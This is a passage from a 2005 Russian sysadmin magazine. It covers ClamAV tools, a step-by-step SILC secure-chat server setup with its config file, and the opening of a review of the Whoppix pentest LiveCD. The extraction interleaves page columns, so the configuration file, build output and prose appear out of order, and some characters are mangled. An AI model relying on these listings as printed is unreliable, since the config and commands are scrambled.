Антивирусная проверка на прокси-сервере Существует несколько решений для блокировки файлов на прокси-сервере, основанные на антивирусе ClamAV, некоторые из них были описаны в июльском номере журнала [7]. ! DansGuradian – прокси-сервер, который использует в качестве «веб-браузера» squid или oops. Его возможности как прокси-сервера достаточно скудны, но антивирусная защита и блокировка нежелательного контента организована хорошо. После блокировки пользователю показывается страница, на которой указана причина блокировки. Аналогом DansGuardian является HAVP. Он также может использовать squid, но может выступать и как отдельный прокси-сервер. ! SquidClamAV Redirector – программа, написанная на языке программирования python, которая позволяет сканировать файлы с определенными расширениями, закачиваемые через прокси-сервер squid. ! squid_vscan – очередное решение от проекта OpenAntiVirus. Это пакет исправлений для squid, позволяющий включить антивирусную проверку.
Snort-inline + ClamAV В некоторых случаях необходима проверка данных, передаваемых по определенному протоколу. Идеальным решением данной проблемы является snort_inline. Это расширение системы обнаружения атак snort, которое позволяет блокировать данные, содержащие вирусы, используя iptables.
Графические интерфейсы Существует огромное количество графических интерфейсов для данной антивирусной системы: AVScan, BeClam, Clamaktion, ClamShell, ClamTk, clamXav, FETCAV, KlamAV, QtClamAVclient, wbmclamav. Наиболее функциональным графическим интерфейсом для KDE является KlamAV (см. рис. 3). Он позволяет on-access-сканирование, сканирование вручную, введение карантина для зараженных файлов, автоматическое обновление, проверка почты (Kmail/ Evolution).
№9, сентябрь 2005
Рисунок 4. Внешний вид ClamWin
ClamWin – антивирусное решение для Windows-систем. Первоначально ClamAV писался для ОС семейства UNIX, впоследствии он был адаптирован и к ОС Windows, запускаясь в эмуляторе cygwin. В отличие от UNIX-версии возможности его более скудны. Вот уже долгое время разработчики обещают реализовать возможность on-access-сканирования файлов, но пока результата нет. Мультиязыковой поддержки пока тоже нет, есть только перевод на некоторые языки «добровольцами». В целом программа предоставляет простой дружественный пользователю интерфейс (см. рис. 4).
Заключение Открытый исходный код ClamAV дает возможность программистам создавать новые проекты на базе этой антивирусной системы, что существенно сказывается на ее популярности. В сравнении с коммерческими продуктами есть один проигрыш – отсутствие эвристического анализа, хочется надеяться, что когда-нибудь эта функция будет добавлена.
Литература, ссылки: 1. 2. 3. 4. 5. 6.
http://www.clamav.net. http://www.clamwin.net . http://mcmcc.bat.ru/clam_rar3.html. http://www.openantivirus.org. http://www.dazuko.org. Касперски К. Вирусы в UNIX, или Гибель «Титаника» II. – Журнал «Системный администратор», №1, 2004 г. – 6-23 с. 7. Авраменко А. DansGuardian + ClamAV: фильтруем вебсодержимое и строим антивирусную защиту. – Журнал «Системный администратор», №7, 2005 г. – 6-8 с.
55
безопасность
ПРОТОКОЛ SILC ОБЕСПЕЧИТ ВАМ БЕЗОПАСНУЮ КОНФЕРЕНЦ-СВЯЗЬ
СЕРГЕЙ ЯРЕМЧУК Передача информации надежно защищена виртуальными частными сетями, почта передается в зашифрованном виде, доступ к закрытым данным на веб-сервере компании организован исключительно при помощи https. Все сделано? Нет, не все. 56
безопасность
С
овременный бизнес невозможно представить без современных технологий. Мобильная связь и электронная почта пришли на смену селекторным совещаниям. Хорошо в эту группу вписались и средства обмена сообщениями, поддерживающие различные протоколы AIM, ICQ, Yahoo, MSN, IRC, Jabber, Zephyr и даже такой малоизвестный, как Gadu-Gadu. Правда, у нас наибольшей популярностью пользуются ICQ, Jabber и IRC. Но если сервер, реализующий один из этих протоколов, стоит внутри контролируемой администратором сети, еще можно избежать проблем. А вот когда пользователь вынужден общаться с офисом с чужого компьютера, например из интернет-кафе, в этом случае весь разговор можно свободно перехватить. Кроме того, известны и атаки, использующие средства обмена сообщениями [1]. Конечно, некоторые реализации поддерживают шифрование, и в этом случае можно избежать проблем. Например, Jabber может быть настроен с поддержкой SSL для обмена между клиентом и сервером, плюс немало клиентов поддерживают шифрование с помощью GPG внутри протокола. Но при этом очень часто кодируются только данные, передаваемые в сообщении, и только в тех сетях, где используется шифрование, оставляя открытой работу в других сетях. Опускаются аутентификация сообщения и пакета, управление ключами и другие немаловажные вопросы безопасности. Все это вместе создает больше иллюзию безопасности. Но если необходимы многопользовательские конференции, то здесь альтернативы IRC (Internet Relay Chat) практически нет. А вот при настройке серверов IRC разговор о шифровании, как правило, не идет [2] по изложенным выше причинам.
Протокол SILC Основной идеей протокола SILC (Secure Internet Live Conferencing) является обеспечение безопасностного общения по незащищенным каналам. В общем случае SILC очень похож в использовании на IRC, вплоть до совпадения основных характеристик (имена, каналы, частные сообщения, поиск пользователя, блокировка неже-
№9, сентябрь 2005
лательных частных и канальных сообщений и прочее). Более того, совпадают даже основные команды (всего SILC поддерживает около 30 команд). Но на этом все сходство в принципе и заканчивается. Основное различие между ними – защита передаваемой информации в SILC. Причем шифрование – это базовая часть протокола, а не опциональная функциональность, которую можно отключать. Так сказать, security by default. Особенно отмечу, что SILC основан не на IRC и они несовместимы между собой. Идея протокола принадлежит Пека Риконену (Pekka Riikonen), начало работ датировано 1996 годом. До выхода первой версии, включавшей клиента и тестовый сервер, поддерживавшие алгоритмы шифрования RSA и 3DES код был переписан заново три раза. Работало это все из рук вон плохо. Генератор случайных чисел, взятый с RNG, используемого в SSH, переписывался два раза. Работа постоянно останавливалась. Но все равно в 1998 году была добавлена поддержка алгоритма ElGamal, а код был переписан на C++. Хотя в следующем году код опять переписывается на С, основные части протокола перерабатываются и спецификация подается в IETF (Internet Engineering Task Force – http:// www.ietf.org). И как результат летом 2000 года протокол представлен общественности. С тех пор была проделана большая работа как по усовершенствованию протокола, так и по разработке софта, протокол получил признание. SILC распространяется по лицензии GNU GPL.
Что предлагает SILC? Учитывая, что SILC появился на десять лет позже IRC, у его разработчиков была возможность поучиться на чужих ошибках и учесть неудачные решения. Поэтому SILC обеспечивает более богатый набор характеристик и является самым удобным протоколом для общения пользователей из используемых в настоящее время. Но на первом месте у нас безопасность, поэтому с нее и начнем. Хотя стоит, наверное, отметить, что разработчики не изобретали велосипед и все решения в общем-то традиционные. Протокол обеспечивает защищенную передачу и аутентификацию
между клиентом и сервером, сервером и сервером, и между клиентами в приватной беседе при помощи шифров AES, twofish, CAST, serpent, rc6 и mars с использованием CBC и CTR. По умолчанию используется длина ключа 256 бит, опционально можно выставить 192 и 128. Протокол SILC имеет собственный открытый ключ SILC, но также поддерживает открытые ключи SSH2, сертификаты OpenPGP, X.509 и SPKI. В качестве открытого ключа SILC, который, правда, не сертифицирован и спецификация не определяет общественную ключевую инфраструктуру, используются ключи RSA или DSS, включающие информацию об имени узла, имени пользователя, реальном имени и др. Впрочем, разработчики открыты для общения, и при необходимости могут быть добавлены другие алгоритмы и шифры. Шифруются все сообщения, посланные другим пользователям и каналам, пароли, команды и уведомления. Передача незащищенных сообщений не предусмотрена. Протокол разрабатывался с четким пониманием механизмов наиболее распространенных атак, поэтому известные пассивные и активные атаки (man-in-themiddle, повторение, подмена IP и пр.) будут неэффективны. Транспортный уровень защищен с гарантией подлинности закодированных пакетов, использованием кода аутентификации сообщения (Message Authentication Codes – МАС), с применением алгоритмов hmac-sha1-96, hmac-md5-96, hmacsha1, hmac-md5. При этом используется метод Encrypt-Then-MAC, когда сообщение шифруется и затем вычисляется МАС, включающий и номер последовательности. Вектор инициализации (IV), использованный в шифровании, по умолчанию не включен в зашифрованный текст. Ключи генерируются протоколом SILC Key Exchange (SKE), являющимся частью протокола SILC. SKE использует цифровую подпись и алгоритм обмена ключей Diffie-Hellman (с группами 1024, 1536 и 2048 бит). Заголовки и данные кодируются сеансовыми ключами, а канальные и частные сообщения кодируются специфическими ключами. Каждый канал использует такой
57
безопасность ключ (channel specific keys), которым кодируются и подписываются все канальные сообщения. Сеансовые и канальные ключи сервер может периодически регенерировать. Также канал имеет свой способ аутентификации, основанный на имени или ключе. Частные сообщения по умолчанию обеспечиваются сеансовыми ключами, но они могут также использовать специфические ключи частного сообщения (private message specific keys), которые можно получить, выполнив SKE между двумя пользователями сети SILC. Полученные при этом ключи могут быть использованы для кодирования частных сообщений или при передаче файлов. Эти сообщения смогут прочитать только передатчик и получатель, но так как сервер не знает об используемых при этом ключах, то не сможет их регенерировать, об этом должны заботиться сами пользователи. Можно использовать частные ключи, сгенерированные за пределами конкретной сети SILC. Все сообщения могут быть подписаны. Для уменьшения размера пакета их можно сжимать. Учитывая, что ключ пользователя играет при аутентификации далеко не последнюю роль, в SILC удалось реализовать то, что просто невозможно представить в IRC – здесь имя пользователя может быть не уникальным. Хотите быть Васей, без проблем. И хотя сервер может знать уже сотню Вась, в регистрации отказано не будет (если имя не превышает 128 байт, на имя канала отводится 256 байт). Централизованные сервисы, регистрирующие имена, в случае с SILC не нужны. Пользователь отличается от других таких же пользователей его реальным именем, именем пользователя в системе, именем узла и наконец fingerprint его публичного ключа. Правда, здесь же выплывает другая проблема. Можно перепутать Васю-менеджера с Васей-директором и рассказать ему все, что думаешь о начальстве. Поэтому лучше перед выходом в приват убедиться при помощи команды WHOIS, с кем действительно имеешь дело. Недавно сервер, а затем и клиенты начали полностью поддерживать UTF-8 не только для текстовых сообщений, но и для ников и имен каналов, поэтому проблем с выбором имени быть не должно. Протокол SILC поддерживает услугу, называемую detaching (по умолчанию она активирована). Пользователь может отсоединиться от сервера, например, для того чтобы установить связь с другим сервером, но у других создается иллюзия присутствия. Клиентов можно добавлять в свой watch list. При этом будет доступна информация о регистрации, выходе пользователя, смене имени, других регистрационных данных и ключах. Это удобно, так как в дальнейшем не придется разыскивать пользователя, если он вдруг решит сменить ник. Пользователь может запретить комулибо отслеживать его. Сетевая топология SILC также отличается от традиционной древовидной, принятой в подобных протоколах. Сеть SILC формирует так называемую гибридную кольцевую сетчатую сеть на уровне маршрутизатора и сеть типа «звезда» на уровне серверов. Такая сетевая топология имеет лучшую масштабируемость и обеспечивает более быструю доставку пакетов. В случае же компрометации отдельного участка его можно просто отключить, пока администраторы не разберутся с проблемами. Маршрутизаторы и сер-
58
веры также имеют различия. Маршрутизатор владеет глобальной информацией, серверы сохраняют только локальную. Сеть поддерживает также и резервные маршрутизаторы (обычно это сервера, берущие на себя эту обязанность при отсутствии основного маршрутизатора). Подобный протокол в настоящее время трудно представить без возможности передачи файлов между пользователями, поэтому такая функция изначально заложена и в SILC. Встроенным протоколом, применяемым для передачи файлов, является SFTP (Secure FTP), хотя разработчики при необходимости готовы добавить любой другой. Весь поток при передаче, естественно, шифруется. Но это еще не все. Спецификации протокола не ограничивают тип передаваемых сообщений. Поэтому кроме текстовых сообщений можно передавать MIME, видео- или аудиоинформацию. Дополнительные сервисы позволяют расширить возможности протокола без потери обратной совместимости. Например, сервис может оставлять сообщения для detaching клиенту, которые будут отданы, когда клиент «вернется» . К сообщениям могут добавляться флаги, указывающие на то, как оно должно быть интерпретировано на стороне получателя.
Утилиты для работы с SILC На сайте проекта доступно несколько утилит: ! Сервер SILC – позволяет развертывать свои сети, как общественные, включенные в общую структуру, так и внутренние. Поддерживает все возможности протокола, работает только под UNIX-системами. ! SILC Map – полезная утилита, показывающая топологию сети SILC, создает карты, позволяющие получить полную информацию о серверах и маршрутизаторах одним щелчком мыши. ! SILC Client – де-факто клиент сети SILC, поддерживает все нововведения, легкий, работает в консоли, имеются версии для нескольких систем. ! SILC Gaim – графический клиент SILC. ! SILC Toolkit и SILC Autodist – две утилиты, предназначенные для разработчиков. Первая ориентирована на программных и прикладных разработчиков, желающих внедрить поддержку SILC в свои продукты. Вторая представляет собой систему управления и ориентирована на большие проекты. Кроме того, на странице http://silcnet.org/community/links можно получить информацию о продуктах сторонних разработчиков. Еще пару слов о клиентах. Предлагаемый проектом SILC Client на самом деле включает две утилиты, предназначеные для общения в сети SILC. Сам silc и irssi с плагином (http://irssi.org, плагин – http://penguin-breeder.org/silc). Но они могут заинтересовать только администратора, рядовой пользовать без GUI жить не сможет. В более удобный графический клиент Gaim поддержка SILC включена, начиная с версии 0.78, но в дистрибутивах он может быть собран без нее. В этом случае придется заняться его сборкой самостоятельно. Кроме них можно посмотреть на Silky (http://silky.sourceforge.net). Это довольно удобный клиент с GTK2-интерфейсом, распространяющийся в исход-
безопасность ных кодах и работающий кроме UNIX-подобных систем и на Windows NT4/2000/XP (Windows 3.11/95/98/ME и CE он не поддерживает). На пользователей MacOS X ориентирован Colloquy (http://colloquy.info), поддерживающий и IRC. Список доступных серверов и маршрутизаторов SILC можно получить на странице http://silcnet.org/network. При выборе адреса silc.silcnet.org вы будете подключены к ближайшему серверу. По умолчанию сервер ожидает подключение клиентов на 706 порту.
Установка сервера Наконец мы приблизились к главной цели статьи – установке сервера SILC. При написании статьи использовался ALTLinux 2.4 Master, но я провел тест и на OpenBSD. Стоит упомянуть, что для FreeBSD доступны порты silc-client silcserver silky. В принципе сервер настолько прост в установке и настройке, что с этим процессом без труда справится начинающий администратор, установивший пару-другую систем. Скачиваем архив, распаковываем и конфигурируем.
ля nobody, как и большинство других серверов, работающих на компьютере, поэтому достаточно просто убедиться, что такой пользователь в системе существует. При загрузке сервер считывает конфигурационный файл silcd.conf, находящийся в нашем случае в /etc/silc. Некоторые опции обязательны, другие дополнительные, и их можно не трогать. # silcd.conf # # # #
Include "/etc/silc/silcalgs.conf"; # General conÞguration options # Поведение сервера по умолчанию, некоторые параметры # могут быть переопределены в ConnectionParams General { module _ path = "/usr/local/silc/modules"; # # # # #
# tar xvjf silc-server-1.0.tar.bz2 # cd silc-server-1.0
В большинстве случаев можно обойтись без каких-либо опций конфигурирования, но я люблю, когда все настройки хранятся в /etc.
# Максимальное количество соединений, принимаемых # сервером, и с одного узла можно переопределить # ConnectionParams. connections _ max = 1000; #connections _ max _ per _ host = 10;
В конце скрипт выдаст итоговую информацию.
# Интервал смены ключей соединения и канала #key _ exchange _ rekey = 3600; #channel _ rekey _ secs = 3600;
silc-server Configuration Summary: --------------------------Target host ...................: i686-pc-linux-gnu Compiler ......................: gcc CFLAGS ........................: -g -O2 -Wall -finline-functions -D_REENTRANT LDFLAGS .......................: LIBS ..........................: -ldl -lpthread /usr/local/silc /usr/local/silc/bin /usr/local/silc/sbin /etc/silc /usr/local/silc/man /usr/local/silc/doc /usr/local/silc/modules /usr/local/silc/include
Compile SILC Server ...........: SIM support ...................: IPv6 support ..................: Iconv support .................: Assembler optimizations .......: Multi-threads support .........: Debugging enabled .............:
yes yes yes yes yes yes no
Compile the sources with 'make' or 'gmake' command. $gmake #make install ................. Generating RSA Public and Private keys, might take a while... Finding p: ................................. Finding q: ... Keys generated successfully. Public key has been saved into `/etc/silc/silcd.pub'. Private key has been saved into `/etc/silc/silcd.prv'. .................
Сервер генерирует пару ключей и записывает их в каталог с конфигурационными файлами. В документации на сайте, датированной 2003 годом, указано, что для запуска сервера необходимо создать отдельного пользователя и группу, от имени которогоон и будет работать. Сейчас по умолчанию он запускается от имени пользовате-
№9, сентябрь 2005
Если используется аутентификация по паролю или по открытому ключу, преимущество имеет аутентификация по открытому ключу. При снятии комментария преимущество будет иметь пароль prefer _ passphrase _ auth = true;
# Включает проверку (FQDN) для входящих соединений # require _ reverse _ lookup = true;
$ ./conÞgure --sysconfdir=/etc/silc
Installation prefix ...........: bin directory .................: sbin directory ................: etc directory .................: man directory .................: doc directory .................: SIM directory .................: include directory .............:
Этой строкой подключается файл, в котором описаны алгоритмы шифрования и прочее, что связано с закрытием информации. Система настроена на максимальную безопасность, поэтому в сам файл лучше не лезть
# Включение смены ключей по более медленному, # но безопасному протоколу Perfect Forward Secrecy (PFS) #key _ exchange _ pfs = true; # Время, по истечении которого закрывается # соединение при неудаче смены ключей #key _ exchange _ timeout = 60; # Ограничение количества каналов, к которым может # присоединиться клиент (по умолчанию 50). #channel _ join _ limit = 100; }; # Server information ServerInfo { # Имя сервера (FQDN) hostname = "silctest.com"; # Первичный адрес и порт, на котором сервер будет # принимать соединения. Primary { ip = "192.168.0.1"; port = 706; }; # Другие интерфейсы прописываются отдельно. #Secondary { ip = "10.2.1.60"; port = 706; }; #Secondary { ip = "10.2.1.160"; port = 706; }; # Описание сервера ServerType = "Test Server"; Location = "Rovno, Ukraine"; # Имя администратора, e-mail администратора Admin = "Sergej A. Jaremchuk"; AdminEmail = "admin@silctest.com"; # Пользователь и группа, от имени которого будет # работать сервер
59
безопасность User = "nobody"; Group = "nobody";
};
# Местонахождение открытого и закрытого ключей PublicKey = "/etc/silc/silcd.pub"; PrivateKey = "/etc/silc/silcd.prv";
};
# Файл, в который записывается сообщение, # получаемое клиентом при соединении MotdFile = "/etc/silc/motd.txt";
# Секция необходима, если ваш сервер является # маршрутизатором, для обычных серверов она не нужна #ServerConnection { # Host = "10.2.1.7"; # Passphrase = "verysecret"; # PublicKey = "/path/to/the/public.pub"»; # Params = "normal"; # Backup = false; #};
# Pid Þle PidFile = "/usr/local/silc/var/silcd.pid";
# Log Þles Logging { Timestamp = true; # Сюда заносятся информационные сообщения, если # не снять комментарий с секций Warnings, Errors # и Fatals, то в эту секцию будут заноситься все # сообщения сервера Info { File = "/usr/local/silc/logs/silcd.log"; Size = "100k"; }; # Warning messages #Warnings { # File = "/usr/local/silc/logs/silcd _ warnings.log"; # Size = "50k"; #};
};
# Error #Errors # File # Size #};
messages { = "/usr/local/silc/logs/silcd _ errors.log"; = "50k";
# Fatal #Fatals # File # Size #};
messages { = "/usr/local/silc/logs/silcd _ fatals.log"; = "50k";
# Connection Parameters # Эта секция определяет специфические параметры связи, # если какой-то параметр не использован, его значение # будет взято из General. Можно описать несколько секций, # которые будут отличаться по уникальному имени, для того # чтобы указать индивидуальные параметры ConnectionParams { # Обязательное уникальное имя name = "normal"; connections _ max = 200; }; # ConÞgured client connections # Эта секция определяет параметры соединения клиентов. # Параметр «Host» позволяет указать IP-адрес или имя узла, # с которого могут соединяться клиенты. Если он # отсутствует, с сервером могут соединяться все клиенты # # Опции Passphrase, PublicKey и PublicKeyDir указывают # на используемую аутентификацию и местонахождение # необходимых файлов # # Секция ниже разрешает подсоединяться всем клиентам # без аутентификации с параметрами связи, определенными # в ConnectionParams с именем normal Client { #Host = "10.1.*"; #Passphrase = "secret"; #PublicKey = "/path/to/the/user _ my.pub"; #PublicKeyDir = "/path/to/keys/dir/"; Params = "normal"; }; # ConÞgured server administrator connections # Секция описывает параметры соединения администратора Admin { Host = "192.168.0.20"; User = "grinder";
60
Nick = "grinder"; # Passphrase = "verysecret"; PublicKey = "/usr/local/silc/admin.pub";
# ConÞgured server connections
# ConÞgured router connections # Маршрутизатор, на который будет завязан сервер, # для внутрикорпоративного можно не активировать #RouterConnection { # Host = "10.2.1.100"; # Port = 706; # Passphrase = "verysecret"; # #PublicKey = "/path/to/the/public.pub"; # Params = "normal"; # Initiator = true; # BackupHost = "10.2.1.6"; # BackupPort = 706; # BackupLocal = true; #}; # Denied connections # Здесь описываются соединения, которые будут отброшены # #Deny { # Host = "10.2.1.99"; # Reason = "Go away spammer"; #}; #Deny { # Host = "10.3.*"; # Reason = "You are not welcome."; #};
Все, сервер можно запускать. Но не спешите. Дело в том, что в ключах сервера (по умолчанию используются ключи SILC) заложена также информация о том, кто их сгенерировал. И при несовпадении с реальной клиенты не смогут присоединиться к серверу без каких-либо объяснений. Поэтому вначале ключ необходимо регенерировать. Для этого запускаем сервер с опцией -С. Самое интересное, что он не хочет брать параметры из конфигурационного файла, а поэтому придется их вбивать вручную. То есть если человек набрал их вручную, то он понимает, что делает и отвечает за это. Формат такой: silcd -C /etc/silcd --identiÞer="UN=<username>, ↵ HN=<hostname or IP>, RN=<real name>, ↵ E=<email>, O=<organization>, C=<country>"
Параметры UN и HN обязательные. Эта информация будет выводиться пользователю при первом подключении (рис. 1). Генерируем ключ: # /usr/local/silc/sbin/silcd -C /etc/silcd ↵ --identiÞer="UN=grinder, HN=silctest.com, ↵ RN=Sergej Jaremchuk, E=admin@silctest.com"
И запускаем: # /usr/local/silc/sbin/silcd
безопасность
Рисунок 1. Информация о публичном ключе сервера
Рисунок 2. Пользователь может проверить полученный публичный ключ сервера Рисунок 4. Параметры новой учетной записи для присоединения к серверу SILC
Рисунок 3. Присоединяемся к каналу
В лог-файле должна появиться информация об успешном старте сервера, без ошибок. Проверяем: # ps -aux | grep silcd nobody
29704 0.0 0.5 2636 1212 ?
S
13:47
0:00 /usr/local/silc/sbin/silcd
# netstat –a | grep 706 Active Internet connections ↵ (servers and established) Proto Recv-Q Send-Q Local Address tcp 0 0 silctest.com:706
Foreign Address *:*
State LISTEN
Можно подсоединяться клиентом. Запускаем Gaim и заводим новую учетную запись (рис. 4). Выбираем протокол SILC и заполняем поля «Имя пользователя», пароль, псевдоним. Кнопка «Показать больше параметров» позволит изменить номер порта, указать на месторасположение файлов публичного и закрытого (личного) ключей, а также настроить некоторые параметры аутентификации и при необходимости адрес прокси. Если у вас нет ключа, то он будет автоматически сгененерирован при первом соединении с сервером. Нажимаем вход и соединяемся с сервером, подтверждаем получение публичного ключа сервера (рис. 2). На севере сейчас делать нечего, выбираем пункт «Присоединиться к чату» и канал проверка без пароля (рис. 3). Так как такого канала на сервере нет, то он будет автоматически создан
№9, сентябрь 2005
Рисунок 5. Если канала с введенным именем на сервере нет, то будет создан новый канал и вы будете его основателем
и вы являетесь его основателем (рис. 5). Все, теперь у вас есть свой рабочий сервер SILC, можно оповещать пользователей о появлении нового сервиса. Безопасность, лучшая масштабируемость SILC-серверов привели к тому, что многие организации, беспокоящиеся о сохранении в тайне передаваемой информации, заменили свои IRC-серверы на SILC. Кто следующий?
Литература и ссылки: 1. IN-2002-03: Social Engineering Attacks via IRC and Instant Messaging (http://www.cert.org/incident_notes/IN-200203.html) 2. Слободской А. IRC-сервер. – Журнал «Системный Администратор» №7, июль 2003 г. – 28-30 с. 3. Сайт проекта SILC – http://silcnet.org.
61
безопасность
УСТОЙЧИВА ЛИ ВАША СЕТЬ? ПРОВЕРЬТЕ С ПОМОЩЬЮ WHOPPIX!
ИЛЬЯ АЛЕКСАНДРОВ Эксплойты, сканеры уязвимостей и прочий security-софт нужен не только злостным компьютерным взломщикам, но и каждому системному администратору, в чьем распоряжении находятся крупные сети и веб-сервера. Сегодня речь пойдет о специализированном дистрибутиве Linux, который во много раз упростит процесс аудита системы и займет достойное место в вашей коллекции незаменимых программных инструментов.
П
роблемы с безопасностью знакомы каждому из вас. Пользуетесь ли вы Windows или Linux, Apache или Microsoft IIS, – во всех по-
62
пулярных продуктах есть уязвимости, позволяющие хакеру получить контроль над системой. Регулярное обновление ПО, установка патчей от про-
изводителя, использование firewall и систем обнаружения атак не избавляет от процесса тестирования защиты. Это отнимает огромное количес-
безопасность тво времени, требует использования специальных security-программ, которые еще надо найти в Интернете и установить. Но сегодня появился инструмент, способный облегчить нелегкий труд администратора – дистрибутив Linux Whoppix, работающий на технологии LiveCD. Идея «живого CD» не нова, первые подобные разработки появились еще в конце девяностых. Но по-настоящему популярной технология стала только недавно – с появлением дистрибутива Knoppix, который был создан немецким профессором Клаусом Кноппером для обучения студентов основам UNIX. Для работы дистрибутив использует виртуальный диск определенного размера, храня данные в оперативной памяти. Все пакеты находятся в сжатом виде – иначе на диск не вместилось бы достаточное количество программ. Компрессия и декомпрессия настроены так, что используют лишь необходимое количество ОЗУ, а большая часть работы происходит непосредственно с CD. В среднем LiveCD работает так же быстро, как и система, установленная на жесткий диск, это происходит за счет блочного сжатия/расжатия и предупорядоченного доступа к файлам. Разработчики Whoppix приняли здравое решение не изобретать велосипед, а использовать для своего проекта уже хорошо себя зарекомендовавший Knoppix. В принципе Whoppix им и является, только вместо медиа-проигрывателей и офисных пакетов здесь эксплойты и security-утилиты. Whoppix специально создавался для тестирования информационных систем на устойчивость к различного рода сетевым атакам. В его составе можно обнаружить архивы эксплойтов от securityfocus и packetstorm, сканеры безопасности, утилиты для работы в локальных сетях и массу других незаменимых вещей. Whoppix работает непосредственно с CD, в качестве графической оболочки используется либо KDE, либо fluxbox. ISO-образ дистрибутива можно скачать с whoppix.net, или заказать в онлайн-магазинах.
Работа с дистрибутивом Итак, вставляем компакт-диск в привод и, не забыв сменить приоритет для загрузочного устройства в BIOS, перезагружаемся. Через несколько се-
№9, сентябрь 2005
кунд нашему взору предстает эмблема Whoppix и приглашение «boot:», где можно выбрать опции загрузки. Например, если ввести: knoppix lang=ru desktop=ßuxbox ↵ screen=1024x768
мы будем работать в оконном менеджере fluxbox с русским интерфейсом и разрешением 1024x768. Остальные опции можно просмотреть, нажав <F2> и <F3> при появлении логотипа дистрибутива. Полная загрузка Whoppix длится порядка двух минут, это зависит от конфигурации ПК и скорости CD-привода. Системные требования довольно скромны – процессор класса P3 и 64 Мб оперативной памяти. Графической оболочкой по умолчанию установлена KDE (см. рис. 1), которая является хоть и удобным, но довольно медленным окружением, особенно при работе с LiveCD. Кстати, по каким-то причинам Whoppix быстродействием не отличается, даже Knoppix, на котором он основан, работает шустрее. Хотя это может быть дефектом отдельного CD, рекомендую использовать fluxbox или вообще работать в консоли, благо большая часть утилит функционируют в текстовом режиме. Также не понравились шрифты – во многих программах они неразборчивые и неэстетичные. Как оказалось, в дистрибутиве просто нет TrueType Fonts, разработчики забыли про такую важную вещь, как антиальясинг. Теперь что касается русификации (напомню, локализовать систему можно, набрав lang=ru при загрузке). Она реализована неплохо, но при выборе русского языка недоступно пере-
WHoppix – коротко о главном WHoppix 2.7.1. – дистрибутив Linux, работающий на технологии LiveCD и предназначенный для тестирования информационных систем на устойчивость к сетевым вторжениям. Основан на Knoppix, который в свою очередь базируется на небезызвестном Debian GNU/Linux. Во WHoppix включено ядро 2.6.11, в качестве графической среды установлена KDE (опционально предлагается fluxbox). Благодаря использованию декомпрессии на одном CD находятся порядка двух гигабайт различного программного обеспечения, большая часть которо-
ключение на английский, что при работе с Whoppix смерти подобно. Лучше использовать английский интерфейс, а для возможности набора русских символов добавить в файл /etc/ X11/XF86Config строчку: XkbLayout "us,ru(winkeys)"
Все оборудование распозналось без проблем, единственное, что пришлось настраивать, – звуковую карту Sound Blaster 128 PCI. Впрочем, благодаря утилите soundcardconfig это было сделано в течение десяти секунд. А вот что привело в восхищение – так это утилиты для настройки доступа в Интернет. С помощью KwiFimanager и pppoeconf вы в два клика мыши настроите подключение с использованием технологий Wi-Fi и ADSL. Есть даже набор утилит для связи компьютера с мобильным телефоном и использования последнего в качестве GPRSмодема. Причем телефон можно подсоединять как по USB-кабелю, так и по Irda и bluetooth. Остается настроить сеть, а для этого нужно знать IP-адреса серверов DNS, которые я, конечно же, не помнил. На моем компьютере Linux установлен на жесткий диск, и отдел reiserFS Whoppix уже заботливо примонтировал. Оставалось только выполнить команду: # cp /mnt/hda1/etc/resolv.conf /etc
и сеть готова к работе. Теперь немного о ПО, поставляемом с Whoppix. К счастью, разработчики догадались не включать в дистрибутив для специалистов в ИТ-безопасности видеоплееры и игры, остаго предназначена для специалистов в области ИТ-безопасности и системных администраторов. Также в состав WHoppix включены архивы эксплойтов от SecurityFocus и PacketStorm. Разработчиком WHoppix является команда энтузиастов WHAX team, образовавшаяся во время работы над дистрибутивом. Имена создателей по понятным причинам не разглашаются. Дистрибутив является свободно-распространяемым и каждый может скачать его iso-образ с официального портала – whoppix.net. WHoppix довольно молодой проект – первая версия вышла в 2003 году.
63
безопасность
Рисунок 1. Графическая среда KDE в WHoppix
вив лишь самое необходимое. Gcc для компиляции, Xpdf для чтения документов, Firefox как браузер, ну а если музыкальный фон для вас – незаменимое условие, то для прослушивания любимых композиций подойдет XMMS. Также в Whoppix есть gFTP, Gaim, Xchat и программа для снятия скриншотов. Что же, разобравшись с тем, что представляет собой дистрибутив, начнем использовать его по прямому назначению – для обнаружения уязвимостей в системах безопасности.
Whoppix-tools Все утилиты, касающиеся безопасности, находятся в директории /pentest корневого каталога. Начнем со вспомогательных программ. Здесь можно обнаружить rdesktop, позволяющий управлять удаленным windows-компьютером как своим, используя протокол RDP. Для пользователей VNC-сетей предусмотрен xvncviewer, удобный и быстрый графический клиент. Если понадобится поднять FTP-сервер, воспользуйтесь демоном tftpd, надежным
Frenzy – альтернатива Whoppix Whoppix не единственный LiveCD-дистрибутив для системного администратора. Можно вспомнить еще и Frenzy – этот дистрибутив основан на FreeBSD 5.2.1-release. Frenzy разрабатывается украинским программистом, но языком по умолчанию в системе является русский, и стопроцентная локализация для многих может стать решающим фактором при выборе ОС, работающей непосредственно с компакт-диска. Размер дистрибутива – 210 Мб, что позволяет уместить его на трехдюймовый диск.
64
Рисунок 2. Программа NetWox – комплекс утилит для работы в локальных сетях
и хорошо себя зарекомендовавшим продуктом. Программисты на Python по достоинству оценят scapy – интерпретатор с множеством дополнительных функций и хорошим руководством. Но отдельно хочется отметить netwox – комплекс утилит для работы в локальных сетях (см. рис. 2). С его помощью него можно просмотреть всю информацию об адаптерах, открытых и закрытых портах, о включенных в сеть компьютерах. В состав netwox входят «снифферы», перехватывающие пакеты в LAN, и «спуфинг»-приложения, посылающие пакеты с несуществующего IP-адреса. Посредством этих приложений можно выявить и устранить слабо защищенные места в локальной сети. Также в состав netwox входит telnet-клиент и несколько сканеров уязвимостей, но возможности последних оставляют желать лучшего. Полезными могут оказаться приложения, проверяющие на работоспособность FTPи IRC-сервера. Перейдем в /pentest/enumeration, где находится масса утилит самого различного назначения. Дистрибутив имеет графическую оболочку, утилиты для настройки сети, маршрутизации трафика, программы для настройки DNS и NAT. В обилии представлен securityсофт: сканеры уязвимостей, системы обнаружения атак, переборщики паролей, «снифферы», и множество других программ. Интересная особенность Frenzy – возможность сохранять все настройки на жесткий диск, дискету, или флэшку. Благодаря этому после перезагрузки Frenzy обретет прежний вид, загрузив уже установленную конфигурацию.
